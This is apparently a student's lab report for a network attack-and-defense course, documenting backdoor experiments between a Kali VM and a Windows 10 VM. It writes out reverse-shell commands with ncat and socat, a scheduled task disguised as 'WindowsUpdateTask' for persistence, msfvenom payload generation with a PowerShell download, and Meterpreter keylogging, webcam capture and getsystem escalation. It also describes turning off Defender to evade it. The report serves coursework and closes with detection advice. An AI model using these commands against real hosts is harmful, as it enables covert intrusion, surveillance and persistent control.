20242328 2026-2027-1《网络与系统攻防技术》实验2实验报告

20242328 2026-2027-1《网络与系统攻防技术》实验2实验报告

一、基础知识

本次实验主要围绕后门(Backdoor)技术与免杀原理展开。后门是指绕过系统正常认证流程而获取访问权限的通道,主要包含编译器后门、操作系统后门和应用程序后门等。本次实验重点实践了以下基础知识:

  • 后门自启动技术:Linux 下利用 Cron 定时任务,Windows 下利用计划任务(schtasks)实现后门持久化。
  • 反弹 Shell 原理:由目标主机主动连接攻击机,从而绕过目标网络的防火墙入站限制。
  • Meterpreter 框架:Metasploit 的强大 Payload,支持无文件落地、进程迁移、提权及摄像头/麦克风控制等高级功能。
  • 软件溢出漏洞利用:利用栈溢出漏洞,精准计算偏移量覆盖 EIP/RIP 寄存器,从而劫持程序执行流执行 Shellcode 或跳转至后门函数。

二、实验环境与工具

  • 攻击机:Kali Linux 虚拟机(IP 地址:192.168.231.129),主机名:chenlitong。
  • 靶机:Windows 10 虚拟机(IP 地址:192.168.231.130),主机名:mcserver。
  • 使用工具:Netcat (nc/ncat)、Socat、Metasploit Framework (MSF)、GDB 调试器、Python 脚本。

三、实验内容

  1. 使用 netcat 获取主机 Shell,并利用 cron 启动某项任务实现持久化。
  2. 使用 socat 获取主机 Shell,并利用任务计划启动。
  3. 使用 MSF meterpreter 生成可执行文件后门,利用 ncat 传输至主机运行获取 Shell。
  4. 使用 MSF meterpreter 获取目标主机音频、摄像头、击键记录等内容,并尝试提权。
  5. 使用 MSF 生成 shellcode,注入到 pwn1 中,获取反弹连接 Shell(或跳转至后门函数)。

四、实验过程

1. 先获取两台虚拟机的 IP 地址

可以发现在同一网段下。

image
image

2. 使用 Netcat 获取 Shell 及 Cron 启动

首先,在 Kali 攻击机的终端中执行 nc -lvnp 4444 命令开启本地 4444 端口的监听,等待靶机主动连接。接着,在 Win10 靶机中,打开命令提示符(CMD),进入放置了 ncat.exe 的目录,执行反弹连接命令:ncat.exe -e cmd.exe 192.168.231.129 4444。

执行后,切回 Kali 终端,发现成功接收到了来自靶机(192.168.231.130)的连接,并弹出了 Windows 的 CMD 提示符,此时已成功获取靶机 Shell。

为了维持控制权限,实现后门持久化,我们利用 Linux 的 cron 机制(或者 Windows 计划任务)。在靶机的 CMD 中执行:

schtasks /create /tn "WindowsUpdateTask" /tr "C:\nc\socat_ncat\ncat\ncat\ncat.exe -e cmd.exe 192.168.231.129 4445" /sc minute /mo 1

该命令创建了一个名为 WindowsUpdateTask 的隐藏计划任务,设定为每分钟执行一次,将最高权限的 Shell 持续反弹至 Kali 的 4445 端口。

image
image

之后靶机会每分钟弹出一个 Shell。

3. 使用 Socat 获取 Shell 及计划任务启动

在 Kali 端执行 nc -lvnp 5555 监听。在 Win10 靶机中执行 socat.exe TCP:192.168.231.129:5555 EXEC:cmd.exe,pipes。之后在 Kali 虚拟机上可以看到已经获取了靶机的信息。随后,利用 schtasks 创建了名为 SocatBackdoorTask 的定时任务,将包含 ,pipes 的完整反弹命令写入其中,实现了后门的持久化。

image
image
image

4. MSF 生成后门文件并反弹 Shell

首先在 Kali 中,使用以下命令生成了 Windows 平台的 64 位反弹木马:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.231.129 LPORT=6666 -f exe -o win_backdoor.exe

image

image

由于 Win10 浏览器下载会拦截恶意文件,我们在 Kali 的桌面目录开启 python3 -m http.server 80 服务。在 Win10 靶机的 CMD 中,使用 PowerShell 下载命令:

powershell -c "Invoke-WebRequest -Uri 'http://192.168.231.129/win_backdoor.exe' -OutFile 'C:\nc\win_backdoor.exe'"

成功绕过拦截下载木马。

image

image

image

接着,打开 msfconsole,使用 use exploit/multi/handler 加载监听模块,依次设置 payload、LHOST 和 LPORT,执行 run 开启监听。

在靶机双击运行木马后,Kali 的 MSF 终端瞬间收到了反向连接,出现了 Meterpreter session 1 opened 的提示,成功获取到强大的 meterpreter > 交互式会话。

image

5. Meterpreter 高级功能与提权

在获取的 Meterpreter 会话中,我们进行了一系列敏感信息收集:

(1)提权测试

输入 getuid 发现当前为普通用户权限。随后执行 getsystem,MSF 自动尝试了多种提权技术,最终成功将权限提升至系统最高权限,再次输入 getuid 确认显示为 NT AUTHORITY\SYSTEM。

image

(2)键盘记录

执行 keyscan_start 开启键盘记录功能,随后在 Win10 靶机中随意打开记事本敲击文字。回到 Kali 执行 keyscan_dump,成功抓取到了明文击键记录。

结果:在靶机下创建一个新建文档并改名为 test 并在文本文档中输入内容。

image

image

(3)音视频获取

执行 record_mic -d 5 和 webcam_snap 命令尝试录音和拍照。

  • record_mic 报错 The system cannot find the file specified,是因为 Win10 虚拟机没有配置麦克风(音频输入设备)。
  • webcam_snap 报错 Target does not have a webcam,是因为虚拟机没有挂载物理摄像头。

image

之后在 Win10 的虚拟机界面进行挂载摄像头之后再运行:

image
image

成功在 Kali 获取靶机的摄像头。

6. 生成 Shellcode 注入 pwn1

针对本地靶场程序 pwn1,首先使用 msfvenom -p linux/x86/shell_reverse_tcp 生成 32 位 Linux 反弹 Shellcode。

起初,通过输入测试字符观察 EIP 变化,尝试将溢出偏移量设为 112,并将 ESP 栈地址填入脚本,发现程序虽然接收了 Payload 但并未成功反弹 Shell。通过 GDB 调试发现,该程序的缓冲区较大,传统的填充覆盖思路未能精准命中。

随后转换思路,使用 info functions 命令查看程序的符号表,惊喜地发现程序中隐藏了一个名为 getShell 的函数(地址为 0x0804847d)。这意味着我们无需复杂地注入 Shellcode,只需利用栈溢出漏洞,将函数的返回地址覆盖为该函数地址,即可劫持程序执行流。

编写 Python 脚本,使用 struct.pack("<I", 0x0804847d) 打包地址,构造 [填充字符] + [getShell地址] 的 Payload 并发送给程序。经多次努力尝试无果,未能成功完成任务 5。

五、问题及解决方案

问题 1:在 Win10 虚拟机中下载 netcat 或运行 MSF 生成的木马时,文件被 Windows Defender 拦截并秒删。

解决方案:在做实验前,进入 Windows 安全中心,关闭"病毒和威胁防护"中的"实时保护"功能。同时,利用 Kali 搭建 Python HTTP 服务,通过局域网内部 IP 下载文件,成功绕过浏览器的安全拦截。

问题 2:在生成后门文件后通过浏览器下载遭到拦截。

Win10 虚拟机在用 Edge 浏览器下载后门时,下载文件会报错无法成功下载。

解决方案:因为 Edge 浏览器自带病毒过滤,所以在下载后门时被直接查杀,所以可以直接利用 CMD 指令访问网站并下载后门文件。

问题 3:Socat 在 Windows 下报错"管道不存在"。

在 Win10 靶机执行 socat.exe TCP:192.168.231.129:5555 EXEC:cmd.exe 时,程序报错 The process tried to write to a nonexistent pipe,同时伴随 Cygwin WARNING 警告。

image

解决方案:查阅资料得知,Windows 版 Socat 在使用 EXEC 调用 cmd.exe 时,由于标准输入输出流重定向机制差异,必须显式添加 ,pipes 参数,强制使用 Windows 命名管道。修改后的命令为 socat.exe TCP:192.168.231.129:5555 EXEC:cmd.exe,pipes。虽然仍有 Cygwin 警告,但成功绕过了管道错误,顺利反弹 Shell。

问题 4:虚拟机无法获取摄像头和麦克风硬件。

在 Meterpreter 会话中尝试执行 record_mic 和 webcam_snap 时,系统报错提示找不到文件或目标没有摄像头。

解决方案:由于实验环境为 VMware 虚拟机,默认未向虚拟机内映射宿主机的物理音视频硬件。通过尝试在 VMware 菜单中连接摄像头设备未能成功识别。这属于物理环境限制,最终以报错截图作为功能验证,理解了 Meterpreter 控制硬件的前提是目标主机具备并启用了相关设备。

六、理论问答

例举你能想到的一个后门进入到系统中的可能方式?

答:常见的方式包括:一是社会工程学/钓鱼攻击,伪装成正常的软件安装包或邮件附件,诱导用户主动点击运行;二是供应链攻击,攻击者入侵软件供应商的服务器,在正规软件的更新包中植入后门;三是利用高危漏洞(如远程代码执行漏洞),无需用户交互即可植入;四是弱口令爆破,通过暴力破解 SSH 或数据库的弱密码,直接获取系统权限并植入后门。

举例你知道的后门如何启动起来(win & linux)的方式?

答:Windows 平台通常利用注册表启动项(如 Run 键)、放置在系统的"启动"文件夹下、注册为 Windows 服务、或者创建计划任务(schtasks)定时拉起。Linux 平台通常利用 cron 定时任务(如本次实验所示)、修改 /etc/rc.local 开机自启脚本、或者篡改用户的 .bashrc 文件,使其在用户打开终端时自动执行。

Meterpreter 有哪些给你印象深刻的功能?

答:印象最深的是它完全在内存中运行,隐蔽性极强,传统的文件查杀很难发现。此外,它的进程迁移(migrate)功能可以保证会话的稳定性;键盘记录(keyscan)和提权(getsystem)功能极其方便,能快速收集用户敏感信息并获取系统最高控制权。

如何发现自己系统有没有被安装后门?

答:可以通过以下方式排查:网络连接检查,使用 netstat 或 ss 命令查看是否有未知的可疑端口正在监听,或异常的外连 IP;自启动项排查,定期检查系统的计划任务、注册表启动项、系统服务列表;进程与账号检查,查看后台是否有伪装的异常进程运行,检查系统中是否多出了未知的特权账号;使用安全工具进行全盘扫描。

七、学习感悟、思考等

通过本次充实而硬核的实验,我深刻体会到了网络安全攻防的实战细节,不再是纸上谈兵。一方面,我掌握了 Netcat、Socat 以及 MSF 等强大工具的使用,也认识到了系统一旦被攻击者进入,通过计划任务等方式植入后门是极易实现的。Meterpreter 的提权与监控能力令人胆寒,一旦被植入,主机就如同"肉鸡"一般毫无隐私可言。

即使最后一个任务未能成功完成但我经过了尝试,也让我意识到在未来的学习和工作中,我会更加注重系统安全防范,不随意点击不明链接,并及时更新系统补丁,做到"知攻善防"。

八、参考资料

posted @ 2026-10-19 21:52  髯鸸  阅读(4)  评论(0)    收藏  举报